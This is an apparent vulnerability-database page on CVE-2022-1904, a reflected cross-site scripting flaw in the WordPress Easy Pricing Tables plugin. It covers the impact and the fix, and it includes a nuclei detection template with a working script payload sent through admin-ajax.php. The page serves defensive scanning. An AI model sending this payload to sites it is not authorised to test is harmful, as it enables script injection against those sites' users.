HexBrain

Browse / CVEs / CVE-2022-1904

CVE-2022-1904· fatcatapps / easy pricing tables· CWE-79

WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting

mediumseverity
6.1CVSS score
1.5%likelihood of exploitation, next 30 days
74%of all CVEs are less likely
Readycheck to confirm it

WordPress Easy Pricing Tables plugin before 3.2.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before reflecting it back in a page available to any user both authenticated and unauthenticated when a specific setting is enabled.

Impact

Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.

Fix

Update to the latest version of WordPress Easy Pricing Tables plugin (3.2.1) to mitigate the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script>
Positive when: contains "<script>alert(document.domain)</script> - Color" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2022-1904 -u <target>

The full check
id: CVE-2022-1904

info:
  name: WordPress Easy Pricing Tables <3.2.1 - Cross-Site Scripting
  author: Akincibor
  severity: medium
  description: |
    WordPress Easy Pricing Tables plugin before 3.2.1 contains a reflected cross-site scripting vulnerability. It does not sanitize and escape a parameter before reflecting it back in a page available to any user both authenticated and unauthenticated when a specific setting is enabled.
  impact: |
    Successful exploitation of this vulnerability could lead to cross-site scripting (XSS) attacks, allowing an attacker to execute malicious scripts on the victim's browser.
  remediation: |
    Update to the latest version of WordPress Easy Pricing Tables plugin (3.2.1) to mitigate the vulnerability.
  reference:
    - https://wpscan.com/vulnerability/92215d07-d129-49b4-a838-0de1a944c06b
    - https://nvd.nist.gov/vuln/detail/CVE-2022-1904
    - https://github.com/ARPSyndicate/cvemon
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/cyllective/CVEs
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-1904
    cwe-id: CWE-79
    epss-score: 0.0148
    epss-percentile: 0.74128
    cpe: cpe:2.3:a:fatcatapps:easy_pricing_tables:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: fatcatapps
    product: easy_pricing_tables
    framework: wordpress
  tags: cve,cve2022,wp,wordpress,wpscan,wp-plugin,xss,fatcatapps,vuln

http:
  - method: GET
    path:
      - '{{BaseURL}}/wp-admin/admin-ajax.php?action=ptp_design4_color_columns&post_id=1&column_names=<script>alert(document.domain)</script>'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script> - Color'

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from